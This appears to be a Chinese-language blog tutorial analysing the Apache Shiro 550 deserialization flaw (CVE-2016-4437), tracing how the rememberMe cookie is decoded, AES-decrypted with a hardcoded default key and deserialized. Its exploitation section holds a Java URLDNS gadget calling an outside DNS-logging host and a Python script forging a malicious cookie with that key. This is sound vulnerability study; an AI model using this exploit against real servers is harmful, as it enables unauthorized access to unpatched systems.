Shiro550 漏洞 (CVE-2016-4437)

本贴最后更新于 476 天前,其中的信息可能已经时移俗易

Shiro550 漏洞(CVE-2016-4437)

介绍

Apache Shiro 是一个强大易用的 Java 安全框架,提供了认证、授权、加密和会话管理等功能。Shiro 框架直观、易用,同时也能提供健壮的安全性。

漏洞影响版本

Shiro <= 1.2.4

环境搭建

jdk:1.8.0_372

Tomcat8

这里我用的是 p 神的环境 https://github.com/phith0n/JavaThings/tree/master/shirodemo

首先用 idea 打开项目

配置好 Maven ,确保依赖没有任何问题后,下载 Tomcat

这里我用的是 idea 社区版,需要在 idea 插件市场下载一个 Tomcat 插件

Untitled

配置如下

Untitled

接着点击运行

Untitled

Untitled

账号密码是 root/secret

漏洞分析

勾选 remember me 字段,如果账号密码正确,会在返回包里面包含 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。

Untitled

从代码审计和漏洞发现者的角度分析问题,我们搭建该项目,抓包,发现包里携带 cookie,很明显是经过某种加密的结果,所以我们需要去代码里面寻找与 cookie 处理相关的代码。

我们在知晓 Shiro 的加密过程之后,可以人为构造恶意的 Cookie 参数,从而实现命令执行的目的。

我们直接双击 shift 寻找 Cookie 相关的类和方法

Untitled

最后我们找到的是 CookieRememberMeManager 类,明显是与 cookie 相关的。

接着我们看到这个类的内部有一个 getCookie() 方法,我们在这里下断点进行调试。

Untitled

我们发送数据包进行分析

Untitled

我们走到了 getRememberedSerializedIdentity() 方法里面

Untitled

这里可以看出,传进去的 cookie 值,传到了 base64 变量里。

Untitled

这里先判断 base64 变量的值是不是 deleteMe ,这里很明显不是。然后会通过函数 ensurePadding 进行 base64 填充,然后会通过 base64 解码,赋值给 byte[] decoded,最后返回 decoded

Untitled

返回的内容会赋值给 byte[] bytes,也就是说现在的变量 bytes 就是存放的 base64 解码后的 cookie

Untitled

接着走,发现会调用 convertBytesToPrincipals() 函数,将 bytes 作为一个参数传进去

Untitled

如果加密服务存在,就通过 this.decrypt() 函数对 bytes 进行解密;

Untitled

加密服务存在,看下加密服务信息,发现使用的就是 AES 的 CBC 模式加密,填充模式为 PKCS5Padding

Untitled

接着跟进去看看解密函数 decrypt()

Untitled

可以看到,第 167 行的 decrypt() 函数,有两个参数,第一个是 base64 解码后的内容,第二个是 getDecryptionCipherKey() 函数,该函数有什么作用呢?

发现该函数返回一个 decryptionCipherKey

Untitled

那么这个 decryptionCipherKey 是个什么东西呢?

我们看看谁调用了。

首先发现他是一个变量

Untitled

接着看看都有谁调用了这个变量

Untitled

首先是 setDecryptionCipherKey() 调用了,有点莫名其妙,再看看谁调用了 setDecryptionCipherKey()

Untitled

发现是 setCipherKey() 方法,该方法接受一个 byte 类型的变量

再看看是谁调用了 setCipherKey() 方法,可知是 AbstractRememberMeManager() 方法

Untitled

该方法里面,我们跟进去发现它的一个常量,是一个固定的值(kPH+bIxk5D2deZiIxcaaaA==)。

Untitled

现在很清晰了,一整条寻找的思路如下图所示,也就是说:this.decryptionCipherKey 就是默认 key kPH+bIxk5D2deZiIxcaaaA== 的 base64 解码的值,也就是密钥。

Untitled

返回密钥后进入解密函数 cipherService.decrypt()

Untitled

大家都知道 AES 解密除了密钥还需要一个偏移量 IV,之前一直没给出来,所以应该也是在解密函数里面,跟进,跟几步就能看到 IV,字节是 16 个 0,翻译过来就是 ' '*16

Untitled

现在解密完成后,开始第二部了:

反序列化

Untitled

把解密好的字节进行反序列化

Untitled

反序列化调用 readObject() 位置

Untitled

至此,我们分析完,我们传进去的 cookie 是怎么解密的了。

小结

shiro 在获取到 cookie 后会进行 base64 解码-->AES 解密(CBC 模式,PKCS5Padding,默认密钥为 kPH+bIxk5D2deZiIxcaaaA==)--> 反序列化。

总体来说分析起来还是很简单,简化一下就是

  • 首先在 CookieRememberMeManager.getRememberedSerializedIdentity 中进行 base64解码
  • 然后调用 AbstractRememberMeManager.convertBytesToPrincipals,其中包含了 AES 解密和反序列化

Shiro550 的根本原因:固定 key 加密,Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

漏洞利用

构造 poc 我们只需要反着来

  1. 生成序列化后的 poc
  2. aes 加密
  3. base64 加密

URLDNS

序列化 poc 如下:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSEXP {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://thinqnoxeh.dnstunnel.run");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
        //unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
//    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
//        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
//        Object obj = ois.readObject();
//        return obj;
//    }
}

加密脚本直接拿过来用了,将序列化得到的 ser.bin 放到之前写好的 python 脚本里面跑


from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES

def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data

def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext

# def aes_dec(enc_data):
#     enc_data = base64.b64decode(enc_data)
#     unpad = lambda s: s[:-s[-1]]
#     key = "kPH+bIxk5D2deZiIxcaaaA=="
#     mode = AES.MODE_CBC
#     iv = enc_data[:16]
#     encryptor = AES.new(base64.b64decode(key), mode, iv)
#     plaintext = encryptor.decrypt(enc_data[16:])
#     plaintext = unpad(plaintext)
#     return plaintext

if __name__ == "__main__":
    data = get_file_data("ser.bin")
    print(aes_enc(data))

python 加密生成的恶意 cookie 如下:

Untitled

再将 python 加密出来的编码替换包中的 RememberMe Cookie,记着 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。

Untitled

Untitled

其他链

未完待续

参考

Java 反序列化 Shiro 篇 01-Shiro550 流程分析 | Drunkbaby's Blog (drun1baby.top)

07.IDEA 远程调试 Shiro550 · d4m1ts 知识库 (gm7.org)

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...